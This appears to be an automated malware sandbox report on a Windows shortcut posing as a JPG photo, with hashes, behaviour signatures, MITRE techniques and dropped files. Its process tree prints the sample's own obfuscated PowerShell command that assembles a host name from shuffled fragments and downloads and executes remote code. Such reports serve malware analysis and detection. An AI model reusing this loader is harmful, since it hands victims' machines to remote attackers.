fc51a9326b7c35b8da6f37e391176885252d1a3952105dd889a9f4837f448fae

Analysis

max time kernel
39s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 09:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260729_034259.jpg.lnk
Size 1KB
Sample260729-lsbrls1cld
SHA256 fc51a9326b7c35b8da6f37e391176885252d1a3952105dd889a9f4837f448fae
MD5 0b5ff10ef725b76ab6f169015989a364
SHA1 4d8783a05a26dc1be63edad001c72ef2a40e1ff7
SHA512 28e0e0250ad8a6f1c165748533b442c6c2879ddec46b117c3604ae94af8e4949816996f2bf14dbb164db042b77b7ed4f8e6a97c1f94d79d1136985c2b843a8ac
TLSH
T18631C0199BF20338D6BB4B355876631186317B0EDA5DCFDF1280C6945565120F8B8F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1636	powershell.exe
14	1636	powershell.exe
21	1636	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5088	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 1636	5088	cmd.exe	86
PID 1636 wrote to memory of 388	1636	powershell.exe	87
PID 388 wrote to memory of 3160	388	csc.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260729_034259.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('e','oinsta','p','w.s','ho','t','ho','yno','p','res','rv')[9,0,10,8,4,5,1,7,3,6,2] -join $pfl) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:388
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF8E.tmp" "c:\Users\Admin\AppData\Local\Temp\43cwoetj\CSCD160776086DA4C519B5D976C17AB3C8.TMP"
      4⤵
      PID:3160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

43cwoetj.dll

Path C:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.dll
Size 3KB
SHA256 15ddc0bab96be9c3920d9f94ffbfb5375aa73ef419899d7c7260ff2de032e129
MD5 c3e85a3bcf5000bad8fcc0a7bf40a914
SHA1 f0e95f5185c0e5be647c0c3d4ee7ac3b2f2372fb
SHA512 67d953f0ca6db3bf3e536062a27e107a9a346c53ef9e90a0e086f237f2365c47b2b08cc49d95abef685379f48481ee76b26feeb6ae99081b1f4ec5669ddedeb4
TLSH
T10F51DC1A93F8062BE4A70735BEF3036737B8F8109FB257AD59800229AC20B545E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RESFF8E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESFF8E.tmp
Size 1KB
SHA256 46f9c82f81ba383b441196b80a906f7cd0919883b294959479b266c48fc42ffe
MD5 cac34679b2e2dbc59d74e2128cff0aac
SHA1 a98a95ffbfc1962577868959c25d97847c9b4f43
SHA512 29772a50db84a921d51768fd6f9993e3be65558bcd5aa7b09d08494127146aa15293ae3f5bf21d8ddf60b71028ff3cd58e15ad40e33979578769d148092bc626
TLSH
T1BB218C0583E8470FF0B7573279FA172B9138FD64EF61976A854042282C51504EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xmodw5su.uy2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xmodw5su.uy2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

43cwoetj.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

43cwoetj.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.cmdline
Size 369B
SHA256 cb6b0a306cf38c1de012f2c6654d1f173d559a53a3db7385bdf5f4bf02003bde
MD5 f549d66ccaf866f8807aa7cb62afe05e
SHA1 18f17fb11aa54dcf756cbe0aafab7a0a3a4adf8f
SHA512 68eb5110a7e401fffc989b4fc083c4e83e763950eb15228f4542e65716b15fc76d7b9916caed840790dd825b1aa6685b8e1e36b44c1aac8732f51720ceec80c2
TLSH
T175E0683B8266C27D02DA20072969C6AC827A068379603F845178448DD2174042BD1B49
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD160776086DA4C519B5D976C17AB3C8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\CSCD160776086DA4C519B5D976C17AB3C8.TMP
Size 652B
SHA256 97da7b98a376bac69c93128a65a2d933e592a16aa145b718cde84c44eb02f776
MD5 84029b95a168794dfb8b674cb68a109b
SHA1 e176ab7fb5acbf7d577b0c43852efdeb33d6c619
SHA512 d232a23ea19408077eef5f9049687a1677d402066c82e5aad56a269abf1645b7954c9172376662072d5f8ae373a3e0598a274ae7cb1d6970c92f6bfa64156473
TLSH
T1EBF05E0963F8020EF0F34B31BDF683A395A8FC65DE3297ED1440432D2864A108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1636-11-0x000001457F900000-0x000001457F922000-memory.dmp

Download

memory/1636-2-0x0000014565060000-0x0000014565070000-memory.dmp

Download

memory/1636-3-0x0000014565060000-0x0000014565070000-memory.dmp

Download

memory/1636-24-0x00000145003C0000-0x00000145003C8000-memory.dmp

Download

memory/1636-25-0x0000014565060000-0x0000014565070000-memory.dmp

Download

memory/1636-26-0x0000014565060000-0x0000014565070000-memory.dmp

Download

memory/1636-27-0x0000014565060000-0x0000014565070000-memory.dmp

Download

memory/1636-28-0x0000014565060000-0x0000014565070000-memory.dmp

Download